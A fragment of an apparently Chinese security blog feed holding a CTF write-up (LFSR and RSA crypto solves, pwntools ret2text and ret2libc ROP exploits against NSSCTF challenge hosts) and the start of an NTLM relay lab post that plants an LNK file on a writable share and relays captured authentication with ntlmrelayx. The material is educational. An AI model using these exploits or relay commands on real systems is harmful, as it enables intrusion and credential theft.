class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> random <span class="keyword">import</span> choice</span><br><span class="line">key = <span class="string">"0111100010111111010100001001110010000010010110011010000000010000111010100110000101000100010011010111000110110000110101001101111100110010000010010010011010001011111000010101001110000001011000011000001010011101100100111100110110001000111111001000100110011011111001001001110011110001110001011000101"</span></span><br><span class="line">flag1 = <span class="string">b'NSSCTF{'</span></span><br><span class="line">flag_as_long = bytes_to_long(flag1)</span><br><span class="line">binary_flag = <span class="built_in">bin</span>(flag_as_long)[<span class="number">2</span>:]</span><br><span class="line"><span class="built_in">print</span>(binary_flag)</span><br><span class="line">indexs = []</span><br><span class="line">a=[<span class="number">1</span>]</span><br><span class="line">initial_state = <span class="number">1</span></span><br><span class="line"><span class="keyword">for</span> i, bit <span class="keyword">in</span> <span class="built_in">enumerate</span>(binary_flag):</span><br><span class="line"> lfsr_output = (<span class="built_in">int</span>(bit)^<span class="built_in">int</span>(key[i])) <span class="comment">#得到lastbit</span></span><br><span class="line"> <span class="built_in">print</span>(<span class="string">f"<span class="subst">{<span class="built_in">bin</span>(initial_state)}</span>:<span class="subst">{lfsr_output}</span>"</span>)</span><br><span class="line"> b = a[:]</span><br><span class="line"> b.reverse()</span><br><span class="line"> a.append(lfsr_output)</span><br><span class="line"> result = <span class="number">0</span></span><br><span class="line"> <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(b)-<span class="number">1</span>):</span><br><span class="line"> <span class="keyword">if</span> j <span class="keyword">in</span> indexs:</span><br><span class="line"> result ^= b[j]</span><br><span class="line"> <span class="keyword">if</span> result^b[-<span class="number">1</span>] == lfsr_output: <span class="comment">#判断当前位是否参与异或</span></span><br><span class="line"> indexs.append(i)</span><br><span class="line"></span><br><span class="line"> initial_state = ((initial_state<<<span class="number">1</span>) & <span class="number">0xffffffff</span>) + lfsr_output</span><br><span class="line"><span class="built_in">print</span>(indexs)</span><br><span class="line"><span class="comment">#输出:[0, 3, 4, 5, 8, 11, 12, 13, 16, 18, 20, 21, 23, 28, 29, 31]</span></span><br></pre></td></tr></table></figure><p>判断逻辑:</p><p>初始的R为0b00000000000000000000000000000001,通过key和flag异或得到第一个lastbit为1,可推出mask的第一位是1(如果mask第一位是0的话则R的第一位不参与异或,而R的其他位都是0,异或不可能为1)</p><p>第一轮结束后R的值为0b00000000000000000000000000000011,第二个lastbit为1,可推出mask的第二位是0(如果mask第二位是1的话,R的第二位就要参与异或,1^1=0,而lastbit为1,显然不符)</p><p>第二轮结束后R的值为0b000000000000000000000000000000111,第三个lastbit为1,可推出mask的第三位是0</p><p>第三轮结束后R的值为0b000000000000000000000000000001111,第三个lastbit为0,可推出mask的第四位是1</p><p>以此类推,上面程序输出的[0, 3, 4, 5, 8, 11, 12, 13, 16, 18, 20, 21, 23, 28, 29, 31]指的是mask中值为1的小标,也就是说mask中第1, 4, 5, 6, 9, 12, 13, 14, 17, 19, 21, 22, 24, 29, 30, 32位为1,利用这个条件我们可以解出后续的lastbit</p><p>paylaod:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> random <span class="keyword">import</span> choice</span><br><span class="line">key = <span class="string">"0111100010111111010100001001110010000010010110011010000000010000111010100110000101000100010011010111000110110000110101001101111100110010000010010010011010001011111000010101001110000001011000011000001010011101100100111100110110001000111111001000100110011011111001001001110011110001110001011000101"</span></span><br><span class="line">binary_flag = <span class="number">0</span></span><br><span class="line">indexs = [<span class="number">0</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>, <span class="number">8</span>, <span class="number">11</span>, <span class="number">12</span>, <span class="number">13</span>, <span class="number">16</span>, <span class="number">18</span>, <span class="number">20</span>, <span class="number">21</span>, <span class="number">23</span>, <span class="number">28</span>, <span class="number">29</span>, <span class="number">31</span>]</span><br><span class="line">a=[<span class="number">1</span>]</span><br><span class="line">initial_state = <span class="number">1</span></span><br><span class="line"><span class="keyword">for</span> k <span class="keyword">in</span> key:</span><br><span class="line"> a = [ <span class="built_in">int</span>(i) <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">bin</span>(initial_state)[<span class="number">2</span>:]]</span><br><span class="line"> a.reverse()</span><br><span class="line"> result = <span class="number">0</span></span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(a)):</span><br><span class="line"> <span class="keyword">if</span> i <span class="keyword">in</span> indexs:</span><br><span class="line"> result ^= a[i]</span><br><span class="line"> binary_flag = (binary_flag<<<span class="number">1</span>) + result^<span class="built_in">int</span>(k)</span><br><span class="line"> initial_state = ((initial_state<<<span class="number">1</span>) & <span class="number">0xffffffff</span>) + result</span><br><span class="line"><span class="built_in">print</span>(long_to_bytes(binary_flag))</span><br><span class="line"><span class="comment">#输出:NSSCTF{It1s_As_simP</span></span><br></pre></td></tr></table></figure><p>最终得到flag:<code>NSSCTF{It1s_As_simPle_a3_It_lo0ks}</code></p><h3 id="flag-where">flag_where</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">n = <span class="number">96294984374753089080583610747240203389088051930341615602841335596072081913930052484580770899610689065293206976889303327507604080242460321817406117877072425663471808350427893332726383611142246218026112051129578226014713958882307096859175042839198895428723757405196020266267824586199807170149650434306779718677</span> </span><br><span class="line">hint1 = <span class="number">111128465335502483574544230236618721723785067258103368528600651970108082026274</span></span><br><span class="line">hint2 = <span class="number">149777690555091648253749138438840244052377948686936166203166372618778229891842</span></span><br><span class="line">c1 = <span class="number">19258639302759286032385037035129183959148363633353536085988651266927081471573889078520697158985164250184287591219408939982288951952002632371950165308028756191357634396067109728491154241759098403135297660541258808223827178690693818047525955978891748361038516201626720292976210372367169577574791733786601438737</span> </span><br><span class="line">c2 = <span class="number">94728391095098686718854324913205273277837107275197779266203956111447917954217642996612375426900185362566372715775684730383657923112702380810451305560067414494793397392647318953106387697001580454130672044011060132072400728672015125332880303053556556640562753160804196189095016248121783366388642672259225712092</span> </span><br><span class="line">b=<span class="number">293227681709108659093110186239101833877</span></span><br><span class="line">a=<span class="number">217562055747111316427029035559575901669</span></span><br><span class="line">e = <span class="number">3</span></span><br><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">franklinReiter</span>(<span class="params">n,e,c1,c2,a,b</span>):</span><br><span class="line"> R.<X> = Zmod(n)[]</span><br><span class="line"> f1 = X^e - c1</span><br><span class="line"> f2 = (X*a+ b)^e - c2</span><br><span class="line"> <span class="comment"># coefficient 0 = -m, which is what we wanted!</span></span><br><span class="line"> <span class="keyword">return</span> Integer(n-(compositeModulusGCD(f1,f2)).coefficients()[<span class="number">0</span>]) <span class="comment"># 系数</span></span><br><span class="line"></span><br><span class="line"> <span class="comment"># GCD is not implemented for rings over composite modulus in Sage</span></span><br><span class="line"> <span class="comment"># so we do our own implementation. Its the exact same as standard GCD, but with</span></span><br><span class="line"> <span class="comment"># the polynomials monic representation</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">compositeModulusGCD</span>(<span class="params">a, b</span>):</span><br><span class="line"> <span class="keyword">if</span>(b == <span class="number">0</span>):</span><br><span class="line"> <span class="keyword">return</span> a.monic()</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">return</span> compositeModulusGCD(b, a % b)</span><br><span class="line"></span><br><span class="line">m=franklinReiter(n,e,c1,c2,a,b)</span><br><span class="line"><span class="built_in">print</span>(long_to_bytes(<span class="built_in">int</span>(m)))</span><br><span class="line"><span class="comment"># b'ZcxKh0OHA4nmSOnyeKsfh44P8FukJ6VMmQlXsAAAAASUVORK5CYII='</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>解压压缩包得到一张图片,用010打开发现底部存在e、n和c</p><p><img src="image-20241028112751679.png" alt="image-20241028112751679"></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">n= <span class="number">23613440611274671981103562117762261407657733032262530808365808460802265777404559689770212205664056651689849304576137012508441030782562719114824768464775304331357062635791932441797662757831660552844003759285119574349208127247279359306048367901670313942242293660325209254802053786362409960527461289549743183131793123086882884499956331652650601135698081029508500034843745858862415689306278980446458807168395881472172471730255424421648602988543988586027701543404817919626933524670439936405497236264107287151288962539180486176914120546870484668665264576021156708057529615192067896540955731053282702775053130195750940441499</span></span><br><span class="line">e= <span class="number">3</span></span><br><span class="line">c= <span class="number">6224502790241725121858151083881916470453047115244132459991459154927516119017085320641701845030115595623733051828266146127822033656314679638782226145682487721992169123432564248314029318691399607764252052430390312899182425006711775775635366515484611511550894355625585295587944764723959996392921955004444258683331994239527759128065125</span></span><br></pre></td></tr></table></figure><p>e很小,直接上poc</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">n= <span class="number">23613440611274671981103562117762261407657733032262530808365808460802265777404559689770212205664056651689849304576137012508441030782562719114824768464775304331357062635791932441797662757831660552844003759285119574349208127247279359306048367901670313942242293660325209254802053786362409960527461289549743183131793123086882884499956331652650601135698081029508500034843745858862415689306278980446458807168395881472172471730255424421648602988543988586027701543404817919626933524670439936405497236264107287151288962539180486176914120546870484668665264576021156708057529615192067896540955731053282702775053130195750940441499</span></span><br><span class="line">e= <span class="number">3</span></span><br><span class="line">c= <span class="number">6224502790241725121858151083881916470453047115244132459991459154927516119017085320641701845030115595623733051828266146127822033656314679638782226145682487721992169123432564248314029318691399607764252052430390312899182425006711775775635366515484611511550894355625585295587944764723959996392921955004444258683331994239527759128065125</span></span><br><span class="line"><span class="keyword">import</span> gmpy2 </span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> *</span><br><span class="line"><span class="comment"># 计算 k </span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">calc</span>(<span class="params">j</span>): </span><br><span class="line"> <span class="built_in">print</span>(j) </span><br><span class="line"> a, b = gmpy2.iroot(c+ j * n, e) <span class="comment"># a 为 cipher + j * N 开三次方的值, b 取 True or False. 如果可得整数b = True; 反之, False. </span></span><br><span class="line"> <span class="keyword">if</span> b == <span class="number">1</span>: </span><br><span class="line"> <span class="built_in">print</span>(long_to_bytes(a))</span><br><span class="line"> exit() </span><br><span class="line"> </span><br><span class="line"><span class="keyword">def</span> <span class="title function_">SmallE</span>(): </span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">130000000</span>): </span><br><span class="line"> calc(i) </span><br><span class="line"> </span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>: </span><br><span class="line"> </span><br><span class="line"> SmallE()</span><br><span class="line"><span class="comment">#NSSCTF{flagIs1neverywhereatanytimeforeveryone}</span></span><br></pre></td></tr></table></figure><h2 id="PWN">PWN</h2><h3 id="nocat">nocat</h3><p>通过nc连接之后直接就能看到flag,但不允许使用cat命令</p><p><img src="image-20241012230853935.png" alt="image-20241012230853935"></p><p>测试发现是过滤了cat关键字</p><p><img src="image-20241012231010466.png" alt="image-20241012231010466"></p><p>通过shell变量拼接绕过</p><p><img src="image-20241012231114394.png" alt="image-20241012231114394"></p><h3 id="兄弟你的环境好香?">兄弟你的环境好香?</h3><p>通过ida打开可看到</p><p><img src="image-20241013095135655.png" alt="image-20241013095135655"></p><p>程序读取用户的输入,但变量长度只有80,最大输入长度为0x100,可尝试栈溢出</p><p>发现后门函数</p><p><img src="image-20241013095312397.png" alt="image-20241013095312397"></p><p><img src="image-20241013095747311.png" alt="image-20241013095747311"></p><p>编写payload</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">r = remote(<span class="string">"node6.anna.nssctf.cn"</span>, <span class="number">20605</span>)</span><br><span class="line">payload = <span class="string">"A"</span> * <span class="number">0x50</span> + <span class="string">"a"</span> * <span class="number">0x8</span> + p64(<span class="number">0x004011e5</span>).decode(<span class="string">"iso-8859-1"</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># r.recvuntil("Do you know stack alignment?\n")</span></span><br><span class="line"></span><br><span class="line">r.sendline(payload)</span><br><span class="line">r.interactive()</span><br></pre></td></tr></table></figure><p><img src="image-20241013110237626.png" alt="image-20241013110237626"></p><blockquote><p>这里的返回地址不能写<code>0x004011dd</code>,因为Ubuntu18.04 64位 和 部分Ubuntu16.04 64位 调用system的时候,rsp的最低字节必须为0x00(栈以16字节对齐),否则无法运行system指令。</p><p>详情参考:<a href="https://blog.csdn.net/qq_43596950/article/details/113849666">Pwntools遇到Got EOF while reading in interactive【未完全解决】</a></p></blockquote><h3 id="不是哥们ret2text还阴啊?">不是哥们ret2text还阴啊?</h3><p>这道题有点迷糊</p><p>首先用ida打开看到程序v1数组长度为56,却可以循环读取900个字符</p><p><img src="image-20241013135943223.png" alt="image-20241013135943223"></p><p>发现后门程序</p><p><img src="image-20241013140332835.png" alt="image-20241013140332835"></p><p>变量位置</p><p><img src="image-20241013140908472.png" alt="image-20241013140908472"></p><p>一开始想得很简单,返回地址与v1的距离是<code>0x40+0x8=0x48</code>,写了个poc发现没打成功,于是开始利用IDA配合gdbserver远程调试</p><p>首先在kali中开启gdbserver监听</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sudo apt install gdbserver</span><br><span class="line">gdbserver --multi *:1234</span><br></pre></td></tr></table></figure><p>IDA选择远程服务器</p><p><img src="image-20241013143254663.png" alt="image-20241013143254663"></p><p>打下断点开始调试,然后就发现了是因为变量i的缘故,当i=60的时候<code>v2 = read(0, &v1[i], 1uLL);</code>修改的v1[60]恰好是i的值,所以i就变成了0x41也就是65,</p><p>所以下一次修改的值为v1[65],而不是v[61],所以我们该传入<code>0x48-(65-60)=0x43</code>个A,然后在传入要跳转的地址。</p><p><img src="image-20241013142128348.png" alt="修改i值为0x41"></p><p><img src="image-20241013142214393.png" alt="下次循环直接跳转到了v[61]"></p><p>payload:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">r = remote(<span class="string">"node9.anna.nssctf.cn"</span>, <span class="number">28753</span>)</span><br><span class="line">payload = <span class="string">"A"</span> * <span class="number">0x43</span> + p64(<span class="number">0x004011E2</span>).decode(<span class="string">"iso-8859-1"</span>)</span><br><span class="line"></span><br><span class="line">r.sendline(payload)</span><br><span class="line">r.interactive()</span><br></pre></td></tr></table></figure><p><img src="image-20241013135623592.png" alt="image-20241013135623592"></p><h3 id="出题人你到底干了什么?">出题人你到底干了什么?</h3><p>题目暗示使用ret2lib</p><p><img src="image-20241018103814671.png" alt="image-20241018103814671"></p><p>附件中给出了attachment和libc.so.6</p><p>思路:attchment中使用了write函数,可通过write函数的真实地址-write函数在libc.so.6中的偏移地址得到libc.so.6的基地址,然后利用libc.so.6中的system和/bin/sh得到shell</p><p>首先我们来找write函数的真实地址,payload如下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">payload = <span class="string">b"a"</span> * offset <span class="comment">#垃圾数据的填充</span></span><br><span class="line">payload += p64(pop_rdi_ret_addr) <span class="comment">#用寄存器rdi传参,参数是write_got</span></span><br><span class="line">payload += p64(<span class="number">1</span>) <span class="comment">#将文件描述符 fd 设置为 1,对应标准输出(stdout)</span></span><br><span class="line">payload += p64(pop_rsi_ret_addr)</span><br><span class="line">payload += p64(write_got) <span class="comment">#想要存入rdi的参数</span></span><br><span class="line">payload += p64(<span class="number">4</span>) <span class="comment">#这个值不影响</span></span><br><span class="line">payload += p64(write_plt) <span class="comment">#write的入口地址,即plt表的地址</span></span><br><span class="line">payload += p64(main_addr) <span class="comment">#程序的起始地址</span></span><br></pre></td></tr></table></figure><blockquote><p>write函数原型是 <code>int write(int fd, const void *buf, size_t count)</code>,具体对应的寄存器可见<a href="https://shell-storm.org/shellcode/files/linux-4.7-syscalls-x64.html">https://shell-storm.org/shellcode/files/linux-4.7-syscalls-x64.html</a></p></blockquote><p>首先是pop_rdi_ret_addr和pop_rsi_ret_addr的地址,得到0x401233和0x401231</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ROPgadget --binary attachment --only "pop|ret" | grep rdi</span><br></pre></td></tr></table></figure><p><img src="image-20241018114158460.png" alt="image-20241018114158460"></p><p><img src="image-20241029112012611.png" alt="image-20241029112012611"></p><p>脚本跑出write_got,write_plt和main_addr的地址</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">e = ELF(<span class="string">"./attachment"</span>)</span><br><span class="line">write_plt = e.plt[<span class="string">'write'</span>] <span class="comment">#write函数的入口地址</span></span><br><span class="line">write_got = e.got[<span class="string">'write'</span>] <span class="comment">#write函数的got表地址</span></span><br><span class="line">start_addr = e.symbols[<span class="string">'main'</span>] <span class="comment">#程序的起始地址</span></span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(write_plt))</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(write_got))</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(start_addr))</span><br><span class="line"><span class="comment">#输出:</span></span><br><span class="line"><span class="comment">#0x401064</span></span><br><span class="line"><span class="comment">#0x404018</span></span><br><span class="line"><span class="comment">#0x401176</span></span><br></pre></td></tr></table></figure><p>在attachment中可以看到可控局部变量buf到返回地址的偏移为<code>0x60+0x08=0x68</code></p><p><img src="image-20241018110742733.png" alt="image-20241018110742733"></p><p>开始尝试获取真实地址</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">e = remote(<span class="string">"node9.anna.nssctf.cn"</span>,<span class="number">21154</span>)</span><br><span class="line"></span><br><span class="line">pop_rdi_ret_addr = <span class="number">0x401233</span></span><br><span class="line">pop_rsi_ret_addr = <span class="number">0x401231</span></span><br><span class="line">write_got = <span class="number">0x404018</span></span><br><span class="line">write_plt = <span class="number">0x401064</span></span><br><span class="line">main_addr = <span class="number">0x401176</span></span><br><span class="line">offset = <span class="number">0x68</span></span><br><span class="line">payload = <span class="string">b"a"</span> * offset</span><br><span class="line">payload += p64(pop_rdi_ret_addr) </span><br><span class="line">payload += p64(<span class="number">1</span>)</span><br><span class="line">payload += p64(pop_rsi_ret_addr)</span><br><span class="line">payload += p64(write_got)</span><br><span class="line">payload += p64(write_got)</span><br><span class="line">payload += p64(write_plt)</span><br><span class="line">payload += p64(main_addr)</span><br><span class="line"></span><br><span class="line">e.recvuntil(<span class="string">b"!\n"</span>)</span><br><span class="line">e.send(payload)</span><br><span class="line">write_addr = u64(e.recv(<span class="number">8</span>))</span><br><span class="line"><span class="built_in">print</span>(<span class="string">"write_addr is %#x"</span> %write_addr)</span><br></pre></td></tr></table></figure><p>在libc.so.6中找system函数和write函数的偏移地址,得到<code>0x10e280</code>和<code>0x052290</code></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">objdump -T libc.so.6 | grep write</span><br><span class="line">objdump -T libc.so.6 | grep system</span><br></pre></td></tr></table></figure><p><img src="image-20241018112534215.png" alt="image-20241018112534215"></p><p><img src="image-20241018104111831.png" alt="image-20241018104111831"></p><p>接下来找<code>/bin/sh</code>的偏移地址,得到<code>0x1b45bd</code></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ROPgadget --binary libc.so.6 --string '/bin/sh'</span><br></pre></td></tr></table></figure><p><img src="image-20241018105347971.png" alt="image-20241018105347971"></p><p>poc:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(log_level = <span class="string">'debug'</span>,arch = <span class="string">'amd64'</span>,os = <span class="string">'linux'</span>)</span><br><span class="line">e = remote(<span class="string">"node9.anna.nssctf.cn"</span>,<span class="number">21154</span>)</span><br><span class="line"></span><br><span class="line">pop_rdi_ret_addr = <span class="number">0x401233</span></span><br><span class="line">pop_rsi_ret_addr = <span class="number">0x401231</span></span><br><span class="line">write_got = <span class="number">0x404018</span></span><br><span class="line">write_plt = <span class="number">0x401064</span></span><br><span class="line">main_addr = <span class="number">0x401176</span></span><br><span class="line">offset = <span class="number">0x68</span></span><br><span class="line">payload = <span class="string">b"a"</span> * offset</span><br><span class="line">payload += p64(pop_rdi_ret_addr) </span><br><span class="line">payload += p64(<span class="number">1</span>)</span><br><span class="line">payload += p64(pop_rsi_ret_addr)</span><br><span class="line">payload += p64(write_got)</span><br><span class="line">payload += p64(<span class="number">1</span>)</span><br><span class="line">payload += p64(write_plt)</span><br><span class="line">payload += p64(main_addr)</span><br><span class="line"></span><br><span class="line">e.recvuntil(<span class="string">b"!\n"</span>)</span><br><span class="line">e.send(payload)</span><br><span class="line">write_addr = u64(e.recvuntil(<span class="string">b"\x7f"</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>,<span class="string">b'\x00'</span>))</span><br><span class="line">log.success(<span class="string">"write_addr is %#x"</span> %write_addr)</span><br><span class="line"></span><br><span class="line">addr = write_addr - <span class="number">0x10e280</span></span><br><span class="line">system_addr = addr + <span class="number">0x052290</span></span><br><span class="line">binsh_addr = addr + <span class="number">0x1b45bd</span></span><br><span class="line"></span><br><span class="line">payload = <span class="string">b"a"</span> * offset + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)</span><br><span class="line">e.sendlineafter(<span class="string">b"!\n"</span>,payload)</span><br><span class="line">e.interactive()</span><br><span class="line"></span><br></pre></td></tr></table></figure>]]></content>
<summary type="html"><h2 id="REVERSE">REVERSE</h2>
<h3 id="NSS茶馆!">NSS茶馆!</h3>
<p>IDA打开文件,发现是对输入的内容进行了tea加密</p>
<p><img src="image-20241014092842702.png" alt="im</summary>
<category term="ctf" scheme="http://example.com/tags/ctf/"/>
</entry>
<entry>
<title>NtlmRelay的一些场景利用</title>
<link href="http://example.com/post/2024/NtlmRelay%E5%9C%BA%E6%99%AF%E5%88%A9%E7%94%A8/"/>
<id>http://example.com/post/2024/NtlmRelay%E5%9C%BA%E6%99%AF%E5%88%A9%E7%94%A8/</id>
<published>2024-09-29T03:27:44.000Z</published>
<updated>2024-11-12T07:29:58.413Z</updated>
<content type="html"><![CDATA[<p><code>NtlmRelay</code>的一些场景利用</p><p>环境说明:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">主域控:192.168.74.138主机名:WIN-KD9M44NUV16 域名:lyy.com</span><br><span class="line">辅域控:192.168.74.143</span><br><span class="line">域内机器 </span><br><span class="line">win10:192.168.74.142</span><br><span class="line">win2008:192.168.74.139</span><br><span class="line">域用户:user1/Wsx123.</span><br><span class="line">kali:192.168.74.135</span><br></pre></td></tr></table></figure><h2 id="共享文件利用">共享文件利用</h2><p>利用<a href="https://github.com/Pennyw0rth/NetExec">nxc</a>查询SMB签名为<code>false</code>的计算机列表</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nxc smb 192.168.74.138/25 --gen-relay-list nosigning.txt</span><br></pre></td></tr></table></figure><p><img src="image-20240927165551828.png" alt="image-20240927165551828"></p><p>发现<code>192.168.74.142</code>没有开启SMB认证,尝试对其进行攻击</p><p>查询具有写入权限的共享文件</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./nxc smb 192.168.74.139 -u user1 -p 'Wsx123.' -d lyy --shares</span><br></pre></td></tr></table></figure><p><img src="image-20240927165643843.png" alt="image-20240927165643843"></p><p>在<code>192.168.74.139</code>上的share文件夹对<code>user1</code>存在写入权限</p><p>然后我们使用<code>slinky</code>在这个共享上创建一个LNK文件指向Kali,当任何人通过文件资源管理器(而不是命令行)进入该共享,LNK文件将被触发,用户的身份验证将被发送回Kali。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nxc smb 192.168.74.139 -u user1 -p 'Wsx123.' -d lyy -M slinky -o NAME=Shortcut SERVER=192.168.74.135</span><br></pre></td></tr></table></figure><p><img src="image-20240927170430742.png" alt="image-20240927170430742"></p><p>同时,我们为任何进来的身份验证设置了一个<a href="https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py">ntlm relayx</a>侦听器,如果收到任何身份验证,ntlmrelayx可以自动打开一个与该机器的socks连接,同时拥有进入共享的用户的权限。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python ntlmrelayx.py -t 192.168.74.142 -smb2support -socks --no-dump --no-da --no-acl --no-validate-privs</span><br></pre></td></tr></table></figure><p><img src="image-20240927171558003.png" alt="image-20240927171558003"></p><p>此时我们用<code>administrator</code>用户打开共享文件夹share就会在ntlmrelayx.py上得到一个命中,并与<code>192.168.74.142</code>机器打开一个socks连接,如图所示:</p><p><img src="image-20240927171718692.png" 